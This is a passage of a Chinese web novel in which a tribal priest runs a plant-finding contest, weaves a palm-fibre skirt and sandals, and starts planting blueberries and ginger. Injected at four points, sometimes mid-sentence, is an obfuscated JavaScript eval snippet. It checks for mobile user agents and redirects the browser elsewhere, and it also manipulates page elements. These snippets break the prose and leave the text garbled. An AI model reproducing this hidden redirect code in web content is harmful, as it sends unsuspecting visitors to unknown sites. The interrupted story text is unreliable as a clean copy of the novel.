显然怕花时安误会,说完他又赶忙补充了一句:“我、我不是说你不好的意思哦祭司大人,只是、只是不知道自己输在哪里。” 有话直说总比拐弯抹角强,花时安一点儿不恼,继续与他解释:“要对比才能体现出姜的妙用,可以这样,下次煮肉其中一锅不放姜,到时候你尝尝就知道了。” “姜不仅是调味品,它和石黄皮一样,也可以用来治病。没胃口吃饭的时候喝点姜水,开胃健脾;天气热的时候喝点姜茶,防暑降温,还有很多很多作用。” 虽然大部分听不懂,但姜的用处明显更多,岩知乐知道自己输了,输得很彻底。他小脑袋一下子就耷下去了,垂头丧气,“我知道了祭司大人,那我先走了。” “等等。”花时安叫住他,嘴角扬起一抹温和的笑,“不要气馁,输赢都很正常,你找到石黄皮已经很厉害了,下次再加油。” 似乎被打击得不轻,听到这话,岩知乐下意识摇摇头,“算了不好玩,我还是老老实实捡板栗去吧。” 花时安挑了下眉,“这样啊,那真是可惜了。” 岩知乐耳朵一下子竖了起来,“什么可惜了?” 花时安眼眸微垂,失落地叹了口气,“看你们这样找植物挺有意思的,我本来还想着参与一下呢。你们不是让我说谁找的植物最有用嘛,光说总觉得差点什么,比如……奖励。” “你应该也听说了,我最近刚好在做东西,我可以拿出一样东西作为奖励,送给找到有用植物的第一名。” “是那个!背篓和簸箕?!”蔫儿哒哒的岩知乐忽然来劲了,果断往花时安面前一蹲,忙地追问。 刚才吃饭他就看到了背篓和簸箕,特别想要一个背篓,这样外出就不用用手拿东西了,还可以装更多更多,方便得很。 花时安摇摇头,“背篓明天开始编,采集队的人以后都会有。我拿出来的东西呢,以后也会教大家做,不过得自己动手。” “到底是什么呀?”岩知乐等不及了,激动地搓手。 花时安:“拿到第一的人可以找我领一条裙子,一条比草裙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409133|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更结实,更舒适,可以穿很久的棕裙。” “哇,祭司大人我我我,我还要玩。”岩知乐激动得手舞足蹈,差点原地蹦起来。 花时安:“刚才不是说没意思吗,还是算了吧。” “不要!谁说的,反正不是我!” 日子逐渐稳定,族人很容易安于现状,一点小奖励就能调动积极性,还能找到更多的植物,花时安何乐而不为。 当然,每天给一次奖励还是有点吃不消,怕忙不过来,所以他将活动时间设为三天,三天评选一次,发放一次奖励。 * 偶然抓到的绿鬣蜥打乱了安排,为了以后经常能吃上肉,第二天,红勇在采集队中挑了五个身强力壮的兽人,组了一支专门寻找猎物的狩猎队。 狩猎时常伴随着危险,以往的狩猎队都是二十个兽人,如今六个人一支狩猎队太过脆弱单薄,木族长不放心,最后看向花时安所在的煮盐队,将仅有的两个兽人也安排到狩猎队。 莫淮山与红简加入狩猎队,红映兰留在部落教伤患老人编竹具,如此一来,他们的煮盐小队可以说是原地解散。 当然也不可能让花时安一个人捡柴、煮盐,有两个兽人恢复得差不多了,木族长便让他们跟着花时安,干些不费力气的活儿。 刚教会一点的徒弟就这么跑了,花时安还有点舍不得,不过想着那肉的滋味,他又释然了。干活嘛,跟谁都一样。 两口沉甸甸的石锅要搬去乱石滩,而新来的兽人又不能干重活,为此,狩猎队在出发前又派了四个兽人帮忙过来抬石锅。 这种吃力不讨好的活儿,花时安一猜就有那人的份。 果不其然,吃过早饭他返回树洞放竹筒,再出来时,莫淮山和另一个兽人已经抬上了大石锅,正吭哧吭哧地往森林里走。 花时安小跑着追上前,看着兽人沐浴在阳光下的侧脸,为昨晚的事情与他道谢:“淮山,昨晚谢谢你帮我盛肉。” “祭、祭司大人。” 扭头看到花时安,莫淮山莫名紧张起来,说话也更磕巴了,“给你盛肉是应、应该的,本、本来就该让祭、祭司大人先吃。” 花时安眉头一皱,似有不解地看着他,“这么紧张做什么?昨天夜里梦到我吃人了?” “没,没有!”莫淮山飞快地摇摇头。 总觉得兽人有点不对劲,但又说不上哪里不对劲,花时安瞄了他两眼,清了清嗓子道:“以后别叫祭司大人了,怪怪的。我们是朋友,叫全名或者时安都行。” 莫淮山明显一愣,低头看着脚下路面,没什么底气道:“不、不行,这不好,你是祭司大人,不能直接叫名。” 有这么严格吗? 花时安回想了一下,昨天红映兰分明还叫他时安来着。 没必要强求,花时安没再说话,这一路在沉默中度过。 直到石锅搬到乱石滩,架在了火塘上,花时安再度看向气喘吁吁的莫淮山。本想和他说捕猎注意安全,但兽人一刻未停歇,放下石锅转身就走。 感觉出哪里不对劲了,这人在有意疏于他。 15. 第 15 章 “祭司大人,我们弄树皮做什么?要这么多吗?” “祭司大人,祭司大人?” 族人的呼唤接连在耳旁响起,花时安恍然从神游中回过神。扭头看见一脸担忧的巨明,花时安摇摇头,“我没事,你刚刚说什么?” “没事就好,吓我一跳。”巨明拍拍胸口,顺势指向身前高耸的山棕,重复刚才的话:“我刚刚说,我们弄这些树皮到底要做什么?会不会太多了点?” 盐水煮上了,今天的干柴也捡够了,一个兽人留在乱石滩看火,另一个兽人巨明则跟着花时安,在长着山棕的灌木丛中割棕片。 一张一张又一张,身后棕片已堆着厚厚几叠,花时安却依旧没有停下来的意思。 出来有一阵了,担心盐水煮干,同伴一个人忙不过来,巨明这才借着好奇的由头,旁敲侧击地提醒花时安。 手起刀落割下一张棕片,花时安回头看了眼,也意识到足够了。他站起身来收拾棕片,顺便与巨明解释:“我们的草裙快穿烂了,森林里没合适的草,我想试着用棕片做裙子。” “裙子?” 巨明忽地一愣,低头看向自己破破烂烂的草裙,又看向手中平整的棕片,激动地惊呼:“对哦!我怎么没想到呢?棕片这么大一张,直接把它围在腰上,再用树藤捆一下就是裙子了啊!感觉比草裙还结实!” “是吧。”花时安埋头整理棕片,笑笑道:“棕片的用处可多,不光是做裙子,铺在地上睡觉也能更柔软更舒服。最重要的,它还能搓成棕绳编织东西。” 巨明面露疑惑:“棕绳?” 花时安晃了晃手中藤蔓,“类似藤蔓一样的东西。” “哦哦,那为什么不直接用树藤?”巨明又问。 花时安:“树藤用不了多久就会断,脆弱得很。棕绳就不一样了,只要搓的够好,搓的够粗,用很长时间都不会断。” 听不懂,但就是觉得很厉害,巨明看着眼前枝繁叶茂的山棕,激动地搓搓手,“祭司大人,既然棕片用处这么多,那我们再多割一些回去吧。” 谈笑间,厚厚几沓棕片已被花时安卷成了两大捆,并用事先准备好的藤蔓捆扎紧实。 看着沉,提起来倒也轻巧,花时安率先扛起一卷棕片,回头朝巨明扬了扬下巴,“先不割了,时间不早了,咱们先回乱石滩,搓棕绳还要大把时间。” “搓棕绳?不是说先做裙子吗?” 巨明扛着另一捆棕片,紧跟花时安的步伐。 花时安:“是做裙子,但不是直接把棕片围在身上用藤蔓捆起来,我想试着做一条更好看,更结实耐穿的棕裙。” 结实耐穿几个字在巨明心里扎了根,他好奇并期待花时安到底会做出怎样一条棕裙。殊不知接下来几天,他会被一条裙子折腾得哭笑不得。 编棕裙第一步,搓棕绳,搓棕绳第一步,抽棕丝。 纯天然的棕片没那么结实,想要抽出棕丝并不难,沿着底部纤维用力一拽,棕片就像被拽掉线头导致滑丝的衣服,一缕缕棕丝很轻松便被抽了出来。 但架不住棕片数量多,一张棕片五分钟,十张棕片五十分钟,一百张棕片…… 除了煮盐就是抽棕丝,三个人埋头一顿苦抽,愣是忙活到第二天中午才把全部棕片弄成纤细轻盈的棕丝。 刚开了个头而已,巨明的心态逐渐发生变化,想当初他采过野菜,抓过猛兽,就是没干过这么细致又磨人的活儿。 很奇怪,忽然觉得直接围一张棕片在身上也不是不行,大不了穿烂了再换一张,反正森林里大把山棕树。 和巨明一样,花时安的心态也发生了一点微妙的变化,不过他是在第三阶段,搓好棕绳开始编织棕裙的时候。 棕绳是纯手工一点一点搓出来的,比毛线中最粗的冰条线还要粗上一点,但棕绳柔软性又不如冰条线,这就导致花时安在编织过程中,塞半天塞不进去,抠半天抠不出来,手指头都快折腾废了。 徒手编织以失败告终,为了这两天的努力不白费,花时安又让兽人帮忙削了几根光滑的圆形竹棍充当棒针,用织围巾的方式来织棕裙。 太复杂的织法花时安不会,但这么多年网不是白上的,最简单的平针他还是略懂一点。 挑“线”从下织到下,再从上织下,无需技巧,机械地重复步骤,保证排列均匀整齐,不重叠,不露底即可。 三天,整整三天,长短适中的腰带塞进预留的线孔中,花时安揉了揉酸胀不已的胳膊,将怀中棕裙摊平举起来时,已是第三天黄昏。 暮色沉沉,夕阳染红了半边天,形似围脖的棕裙举在半空中,迎着光却不透光,规整细密的纹理清晰可见。 虽然用的最简单的平针,但花时安动手能力还算不错。 除了起头那一寸有些凹凸不平,看得出有点生疏之外,后半截棕裙针脚细密,纹理清晰,表面几乎没有毛刺,不细看根本看不出是棕绳织的。 功夫不负有心人,棕裙终于织出来了,但花时安一点儿也高兴不起来。因为三天啊!三天织一条裙子,太费劲了。 胳膊是酸疼的,右手食指和拇指还冒了两个水泡,真的值得吗?花时安有气无力地倚着大石头,茫然望着被夕阳染红的天空,唇缝中溢出一声叹息。 火烧得正旺,锅中的盐水肆意翻滚,两个兽人愁眉苦脸地坐在石锅前,一边往火塘里添柴,一边与棒针、棕绳苦哈哈地作斗争。 三个人同时开始的,花时安都织完了,他俩的进度才刚刚过半。且织出来的棕裙稀疏粗糙,坑坑洼洼,跟狗啃似的。 让两个五大三粗的糙汉做针线活,确实有点难为他们。 许是两人钩针拉线的模样过于笨拙滑稽,花时安心中烦闷散去大半,扬起嘴角轻轻笑了声。 就是这一声不太明显的轻笑,巨明立马转头看向花时安。而看到他怀中已然成型的棕裙,兽人将自己的半成品往旁边石头上一放,起身快步走向花时安。 “祭司大人你都织好了?这么快!” “什么?”旁边听到动静的兽人也跟着起身。 两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409134|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兽人火急火燎地凑到跟前,花时安也没藏着掖着,伸手把棕裙递了过去,“织好了,腰带也装好了,可以直接穿在身上了。” 巨明眼疾手快抢到了棕裙,瞪大眼睛仔细查看,分分钟变成小青蛙,“哇,不愧是祭司大人,织得真好!比我俩强太多了。” “可不是,”兽人小鸡啄米似的点点头,不遗余力地夸赞:“棕绳和棕绳挨得好紧,好密集,一点缝隙都没有。祭司大人的手太巧了,简直跟我阿母一样。” 和谁一样?花时安差点被口水呛到,侧着身体一阵咳嗽。 没空关心他们的祭司大人,兽人满心满眼都是棕裙。 巨明和同伴拿着棕裙翻来覆去地看,爱不释手的抚摸,完事儿又拿到自个儿身上比画,嘀嘀咕咕地念叨:“真好,真好看啊这棕裙,真就和之前说的一样,好看又结实,也不知道穿上是什么感觉。” 说着,两个兽人同时望向花时安。 “祭司大人,我、我们能穿上试试不?”巨明问。 看着跃跃欲试的兽人,看着他俩比自己粗一圈的腰,花时安摇摇头,“不是你们的尺寸,看看得了,别给我撑坏了。” “好像是有点小。”巨明不死心,拿着棕裙在自己腰上围了一下,估计连大腿都塞不下,这才作罢。 但他的斗志彻底被棕裙点燃,先前受的苦和累抛之脑后,心里眼里只有对棕裙的渴望。 似乎做好了长期鏖战的准备,兽人双手握拳,不掩激动与兴奋,一脸期待地望向花时安,“祭司大人,我们明天再多割点棕片,多搓点棕绳。这棕裙真的太好看了,我想给我伴侣也织一条,不,不对,要给部落每个人都织一条!” 好好好,看得出很有干劲了,花时安满意地点点头,掩唇轻咳一声,“嗯,那……你们加油。” 打了鸡血的巨明:“加油!明天织它两条出来。” 另一个兽人听出不对劲了,试探着问道:“我们加油?祭司大人你呢?不和我们一起织了吗?” 撂挑子不能撂得太明显,花时安故作深沉地托着腮,一本正经道:“我还有别的事情要做。能教你们的基本都教了,多织多练习,速度很快就能提上来。” “你们是我见过最聪明的兽人,加油啊,族人能不能穿上漂亮棕裙可就看你们的了。不过也不用急,咱们稳扎稳打,慢慢来。” 最聪明的兽人,所以要承包整个部落的棕裙吗…… 没有被鸡汤荼毒,巨明与兽人面面相觑,笑脸变愁容。 “要不……” 意志力没那么坚定的兽人有些动摇,打起了退堂鼓,“要不还是做棕片裙吧,棕裙好看是好看,织起来也太慢了。祭司大人之前不是说过嘛,现在要以吃喝为主,这些穿的用的,还是怎么简单怎么来比较好。” 花时安还没说话,巨明立马摇头反对:“不,棕裙好看结实,还耐穿,虽然织起来麻烦,费时费力,但稍微爱惜一点,一条裙子穿半年不成问题。” “麻烦也只是麻烦这一回,织,咬着牙也得织!” 16. 第 16 章 天色渐暗,群树之间开阔的空地被红彤彤的火光点亮。 没有随着夜色一同沉寂,空地热闹得很。 打水的,添柴的,用树叶包板栗的,借着火光编簸箕的……人们各自忙碌着,为即将到来的夜晚做准备,为今晚的晚饭做准备。 三天说长不长,部落也发生了一些变化。 林间开阔的林隙不再空旷,十多个精心编织的大簸箕远离火堆并排摆放,里面晒着圆润饱满的板栗、绿油油的马齿苋,以及微微泛黄的盐晶。 伤患在逐渐好转,食物和盐在陆续变多,竹具与棕裙在编织中,一切似乎都在往好的方向发展,可花时安却有些发愁。 理想很丰满,接连三天,准备充足、早出晚归的狩猎队一无所获。兽人们挫败不已,木族长也开始怀疑自己分出一支狩猎队的决定是否正确。 采集队那边稍微好点,这几天带回来的板栗又多又新鲜。 花时安以为他们又找到了新的板栗林,正高兴呢,结果采集队队长红云朗告诉他,掉在地上的板栗几乎没有了,这几天他们都是变回兽形上树摘的。 这意味着什么,意味那片板栗林快被薅秃了,接下来想吃板栗就得等来年,或是花大把时间寻找新的板栗林。 靠山吃山,食物来源始终不稳定。花时安透过夜色望向河边辽阔平整的草地,刻在骨子里的种田基因缓缓苏醒,手很痒,忽然很想种点什么。 可是现在能种什么? 马齿苋?这玩意儿不缺,森林里大把。板栗树?那可是乔木,三五年结果都算快的,等吃上板栗黄花菜都凉了。 琢磨来琢磨去,能种的好像也只有蓝莓和姜。 三天一次的植物评选大会马上开始,花时安还存着一丝希望。谁承想吃过晚饭后,上次带着石黄皮和姜来参赛的选手,这次给他带来了木贼、相思子、瘦版马齿苋——斑地锦。 最后,勉勉强强选出来的第一名……半根金竹。 现在退出好像来不及了,为了让族人继续保持热情,言而有信,花时安含泪送出他织了三天的棕裙。 * 夜晚滋生秽气,容易emo、胡思乱想,而这时候只需放空大脑,抱着胳膊美美睡一觉,什么烦恼都会在睡醒后消失不见。 额,偶尔也会有例外。 至今没做出牙刷,一大早,蹲在河边用食指蘸盐刷牙的花时安:有一点烦恼。 食物没地儿放,这几天族人以编织簸箕为主,昨天才开始编背篓。想着一会儿要去森林,有个背篓方便点,花时安洗漱完便匆匆前去空地。 紧赶慢赶,结果还是晚了一步。 他低估了族人对背篓的需求,以至于匆匆赶到时,仅有的几个背篓已经被采集队众人瓜分干净。 在外奔波,有个背篓可比空着手方便多了。抢到背篓的族人兴奋不已,简直跟出门捡到钱一样,一个个嘴巴咧到耳后根,这让也想要一个背篓的花时安有些开不了口。 算了,让他们新鲜几天。 刚打算放弃去吃早饭时,背着背篓的木族长从人群中挤了出来,花时安眼睛一亮,三步并作两步快速蹿上前。 “族长。” 旁边冷不丁窜出一个人,木族长下意识攥紧背绳,死死将背篓护在身后。 看到来人是花时安,他神情肉眼可见地放松,咧着嘴嘿嘿一笑,和花时安打招呼:“早啊祭司大人,板栗烤熟了,怎么不去吃饭?” 花时安扬起嘴角微微一笑,“等下吃,找你说个事儿。” “哦?什么事儿?”木族长饶有兴致地看着他。 确实也真有事,花时安如实道:“今天我不去盐泉那边了。两个兽人都会煮盐了,让他们慢慢煮就行,也不用再安排人过去。” “成啊,巨明做事踏实,煮盐交给他们我也放心。” 木族长爽快答应,旋即半眯着眼睛盯着花时安,不掩好奇地问:“祭司大人这是打算去编棕裙?我可听说了,岩知乐那小子一大早就到处显摆呢,说是你给织的棕裙。” “哈哈,那裙子我也看了,真好看呐,摸起来感觉都不一样。话说织起来挺麻烦吧?要不我再安排几个人给你帮忙?” 想要棕裙几个字都快写脸上了,花时安笑了声,“是有点麻烦,所以我暂时不织了。现在是巨明他们在织棕裙,也不用特意叫人过去,让他们边煮盐边织,慢慢来。” 木族长震惊:“啊?两个兽人……织棕裙?” 花时安点点头,“学得很快,织得也像模像样,族长你可别瞧不起他们。” “没,没瞧不起,只是没想到。”木族长哈哈笑了两声,似乎又意识到了不对,倏地望向花时安,“那祭司大人打算去……” 花时安:“我打算去森林里转一转,挖点蓝莓和姜回来,种在部落周围。” “种?”木族长眼中闪过一丝茫然。 花时安解释道:“就是把森林里的植物连根挖回来,栽种在自家门前。这样以后想吃蓝莓、想吃姜,出了门就能直接摘。” 木族长不解地挠挠头,“想吃去森林里找不行?何必这样折腾?” 花时安耐心与他分析,尽可能说得通俗:“森林里的植物不是集中生长在一块的。如果想摘一背篓蓝莓,可能一天都摘不到,因为要边找边摘,费时又费力,还要看运气。” “种就不一样了,一两株可能看不出效果,但——” 花时安不紧不慢地转过身,胳膊一抬,指向河畔平整开阔的草地,“如果种一片呢?一大片蓝莓种在家门前,等到成熟季,想摘多少摘多少。” “而且植物生长在野外,时而干旱时而涝,产量、咳,果子通常不会太多。挖回来种在眼皮子底下,我们可以浇水、施肥,精心照料,挂在枝头上的果子必然只多不少。” 和聪明人说话不费劲,虽然大半辈子以捕猎采集为生,从未接触过农耕栽种,但木族长很快便理解到花时安的意思。 “妙啊,这个法子妙啊!”木族长望着草地连连点头,垂在身侧的双手渐渐握成拳,眼睛越来越亮,“种板栗树,把这片草地全种上板栗树,我们以后再也不用为食物发愁了!” 草率了,花时安在额头上拍了下,连忙又道:“板栗树就算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409135|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,板栗树要很多年才能开花结果,来得太慢了。” 提到板栗树,花时安想到的是移栽幼苗,而木族长—— “怎么会?把森林里能结果的板栗树挖回来,它不照样能结果吗?”木族长言之凿凿。 花时安愣了一下才反应过来,扑哧笑出声,“族长,我们种植图的是方便。那能结果的板栗树多高多大你也看到过,就算咱们整个部落的人全部出动,一天能弄回来两棵吗?” 挖十几二十米的树,别把人累死了。 木族长嘴巴一瘪,“可我们现在主要还是靠板栗填饱肚子,那蓝莓种得再多……它不顶饱啊。” 花时安:“板栗树高大显眼,不难找。采集队已经知道哪里板栗树多了,记着方向以后去找就成。我们要种就要种那些生长速度快,生长周期短,且产、果实比较多的植物。” “真有这样的植物?” “一定有,只是还要再仔细找找。” 木族长点点头,伸手在花时安肩膀上拍了下,语重心长道:“你懂得多,你看着办。不过你一个人去森林我还是不放心,叫一个兽人跟你一块,你自个儿选,反正他们狩猎队也抓不到猎物。” 如今人手紧缺,短时间看不到收获的事,花时安不想麻烦别人。他下意识就要拒绝,可听到那句“你自个儿选”,他心念一动,忽然改口:“那我就不客气了,莫淮山吧,让他跟我一起。” 木族长笑容一僵,平静的面庞出现了一丝裂痕,但他没有直接拒绝花时安,客客气气,拐弯抹角道:“要不风吧,巨启风,或者红云朗,他俩脑袋聪明,手脚也利索。” “莫淮山不好吗?我跟他熟。”花时安故作不解。 眼看糊弄不过去了,木族长无奈叹了口气,说起了红松部落的陈芝麻烂谷子事儿:“你们花栗鼠部落离红松部落最远,很多事情你不知道……” 和红映兰说得差不多,兽形异于常人、克父克母,克亲近之人,又被族人称作不祥之人。 因为看重花时安,把他当成了重点保护对象,所以族长不乐意莫淮山接近他,生怕害他出意外。而无意一句话也透露出,先前莫名其妙的疏远,的确是木族长授意。 真心为了花时安考虑,木族长那叫一个苦口婆心。 而花时安听着听着却笑了,抬眸与木族长对上视线,“你们总说我是部落的贵人,是兽人派来的使者。可族长你知道吗?从晴空森林逃出来那晚,我差点就被苍鹰抓走了,是莫淮山从苍鹰手里把我拽回来的。” “他会不会克别人我不知道,他应该挺旺我的,因为我这条命的的确确是他亲手救回来的。” 确实不知道这一茬,木族长睁大眼睛,哑口无言。 沉默片刻,他无可奈何地低下头,唇缝中溢出一声微不可察地叹息:“那行,让山跟你——” “不用了族长,”花时安打断他的话,笑吟吟道:“我刚才又想了一下,这个节骨眼儿还是先找食物比较好,种植不急于一时,我先自个儿琢磨着,就不耽搁兽人捕猎了。” “哦对了族长,你那背篓……先借我用用呗。” 17. 第 17 章 再三保证不会离部落太远,就在附近活动,花时安终于得以脱身。而临走前,他手一伸,顺走了木族长肩膀上的背篓。 揣着热乎乎的板栗,花时安不知疲倦地在丛林间奔波了一整个上午。去长月月发现姜的山包上挖姜,在路旁灌木丛刨蓝莓苗,偶然碰见的蘑菇也别浪费,捡了丢进背篓里。 比起枯燥的煮盐、编织,花时安更喜欢在丛林里探索。 切身亲近自然、融入自然的感觉很奇妙,听着风吹树叶的沙沙声,嗅着空气中青草与泥土的气息,整个人都神清气爽。 如果能再找一种和板栗一样,美味又顶饱的植物,那就更好了。可惜,花时安一路上特意留意着,却始终没有新发现。 回家的路上又经过了山棕林,花时安织棕裙织伤了,看都不想多看一眼。可无意一低头,沾满泥土的光脚丫子映入眼帘,他眉头一皱,不由自主地停下了步伐。 割吧,背篓还没满,割一点带回去放着,等哪天心情好了再织。花时安不断给自己洗脑,最后老老实实拎着石刀,走到山棕脚下。 一割一撕,轻盈的叶鞘落入掌心,转而平放在旁边空地。 边割棕片边琢磨草鞋的编织方法,花时安思绪逐渐飘远。脑海中播放了一部又一部纪录片,当他重新回过神时,四周树木间隙又堆了厚厚几沓棕片。 照旧用藤蔓将棕片捆紧实,打横架在背篓上。以防走着走着掉了,花时安又折了几根藤蔓,将棕片与背篓牢牢捆在一起。 兽人部落没有吃午饭的习惯,日头正盛的中午,不便出门劳作的伤患老人依旧在空地忙碌。兽人出门前的竹条整齐码放在地上,在一双双粗糙却灵活的手中,变成结实牢固的背篓。 没有去空地凑热闹,在族人们热情的招呼声中,花时安背着沉甸甸的背篓,径直走回自家歪脖子树。 解开藤蔓卸下棕片,倒出背篓里巴掌大的姜块,根须完整的蓝莓苗,花时安瘫坐在树洞口歇气,顺便思索从哪里下手。 部落没有锄头这种东西,想要铲草皮,开垦荒地,注定要费一番力气。 知道自己几斤几两,第一次尝试,花时安没想着大面积种植,蓝莓只挖了六株,姜也只有十多柄。 所以……根本没必要打草地的主意,树与树之间隔着十几二十米,这面积盖房子都够了,开垦一块菜地不是轻而易举。 最主要的,林间间隙泥土蓬松,没有草地那般瓷实。 说干就干,花时安麻利地站起身,从姜堆里翻出一把头尖尖的石刀。这是他昨晚特意找兽人借的,目前最适合挖坑刨土的工具。 沿着歪脖子绕了一圈,花时安很快便选好了位置,手握尖刀蹲在面向草地那一侧。 树木周围以前是灌木丛,虽然面儿上杂草、灌木已被清理干净,但树根草根依旧残留在泥土里。花时安手刀并用,边挖边扯,愣是在微风和畅阳光正好的初秋,热出一身汗。 额头湿漉漉的,大颗大颗的汗珠沿着鬓角往下掉,花时安抬起胳膊在脸上胡乱蹭了下,看着脚边六个大小一致的坑,唇边漾起愉悦的笑容。 六株蓝莓平稳放进坑内,将刨出来的泥土慢慢填回去,轻轻压实。而后花时安回树洞拿上自己吃饭的竹筒,往河边跑了几趟,给移栽的蓝莓浇水定根。 蓝莓栽种好,接下来该轮到姜了,但姜不是往土里一埋就完事儿的,为了保证存活率,必须先把嫩芽催生出来才可栽种。 有虫眼的不要,蔫儿巴巴的不要…… 花时安坐在洞口挑挑选选,选出品质好的姜留种,最后用尖刀将挑选好的姜种切成块,确保每块保留两个芽眼。 姜种处理好,还得做一个催芽床。花时安四下瞅了一圈,解开捆绑棕片的藤蔓,从里面挑两张相对完整、厚实的棕片,重叠起来充当催芽床。 去空地火堆里扒点草木灰,再到树脚下捧点刚才刨出来的泥土。泥土与草木灰加少量水搅拌均匀,把切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409136|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的姜种挨个儿埋进去,最后只需将棕片包裹起来,用藤蔓捆上即可。 晒晒太阳有助于发芽,花时安伸了个懒腰站起身,费劲折腾半天的姜种则留在了树脚下。 时间还早,看太阳应该才下午三点多的样子。 忙时累,闲下来又觉得无聊,花时安去河边洗了把脸,又去空地溜达了一圈,和编背篓的红映兰聊了会儿天,无所事事地溜达回自家歪脖子树脚下。 鞋子也算是必需品,早编早享受!花时安硬生生把自己哄好了,不情不愿地坐在树脚下,冷脸拆棕片。 拆棕片、搓棕绳,这种细致活儿真的很磨人。 好在一回生二回熟,花时安的速度渐渐快了起来。 从艳阳高照,到夕阳西下,再到夜幕降临,堆在歪脖子树下的山棕叶鞘先化为棕丝,再变为棕绳,最后变成了一双舒适柔软的棕鞋。 不同于现代社会那种把脚完全包裹起来的鞋子,这双棕鞋更像拖鞋,还是……人字拖。 整双鞋全是棕绳编的,一点儿别的都不掺。鞋底花时安用了和编背篓同样的手法,棕绳打底,棕绳缠绕编织,直至牢固紧实。 为了更贴脚,走路不会掉,花时安参考了人字拖,在拇趾与二趾之间编了两股棕绳。 像拖鞋但不能真做成拖鞋,跑几步鞋掉了更麻烦,为此,他又在鞋底中后位置加了两根棕绳,往脚腕上一绑就是鞋带。 这下倒是不容易掉了,结果人字拖变成了丑陋的凉鞋。 棕鞋前后一样大,和好看丝毫沾不上边,但它柔软贴脚,至少穿着挺舒服。花时安很满意,不管怎么说,往后在森林中穿梭不用担心硌脚了。 当然了,以后有了工具还是要改良一下。或许可以试着用做布鞋的法子,剪一叠棕片当鞋垫,织好鞋面再缝上去。 织了三天的棕裙送出去了,编了一下午的棕鞋总该自己穿了吧。花时安哼着不着调的小曲儿,美美将新鞋穿在脚上。 18. 第 18 章 “祭司大人!” 鞋带还没系好,一声高呼从前方传来。 花时安心里咯噔一声,下意识就要捂着新鞋,而透过朦胧的夜雾看到匆匆向他跑来的红云朗,悬着的心又落回了胸口。 采集队回来一阵了,亮着火光的空地却一点儿也不热闹,因为今天他们带回来的马齿苋比较多,板栗只有昨天的一半。 兽人眉头紧皱,神情凝重,花时安猜到了他的来意。 果不其然,小跑上前的红云朗气都没喘匀,着急忙慌地往花时安身前一蹲,“祭司大人,今天一摘,那片板栗林彻底没有板栗了。你知不知道板栗多久能长出来啊?” 多久长出来?花时安微微抿了下唇,“栗子树一年结一次果,还想在那片树林捡板栗的话,来年这个时候。” “这么久?” 虽早有预料,但红云朗还是不想面对现实。 美味可口的板栗就这么没了?他失落地垂下了脑袋,重重叹气,“那以后我们怎么办啊?祭司大人你有什么发现吗?还有什么果子和板栗一样好吃吗?” 这问题问的,花时安不合时宜地笑了声,“比板栗好吃的果子也有,可我天天在部落附近打转,我能有什么发现?” “哈哈,好像也对哦。”红云朗干巴巴地笑。 板栗已然成为部落的主食,树上没果子了,族人心里也着急。但急也没用,花时安看着兽人脸上牵强的笑,轻声安慰道:“别急,树上没了部落还有呢,够我们吃一段时间。” “明天你带着采集队继续找,巨树森林这么大,栗子树也会生长在别的地方。当然,也不能只找板栗,路上遇到的马齿苋、蓝莓、蘑菇……该捡捡该摘摘。放心,食物只会越来越多,我们不会饿肚子的。” 很奇怪,分明没有更好的解决办法,但听到祭司大人这番话,红云朗心里顿时就踏实了许多。 他小鸡啄米似的点点头,拍了拍膝盖站起身。 刚想转身离开,余光无意扫过花时安的脚,红云朗突然愣住,诧异地惊呼:“祭、祭司大人,你脚上这是什么?” “这个啊?这叫鞋,棕鞋。”花时安站起身,大大方方抬脚给他看,语气中带了几分得意,“怎么样,好不好看?” “好看是好看,但,”红云朗不理解:“这棕鞋有什么用?为什么要把它套在脚上?” 兽人部落发展至今,穿衣服、裙子只是为了遮羞,连保暖御寒的概念都比较模糊,更别说接触鞋子。 花时安一时间不知道怎么解释,于是便反问了红云朗一个问题:“你们每天在森林里跑,脚底板是不是都带点伤?” 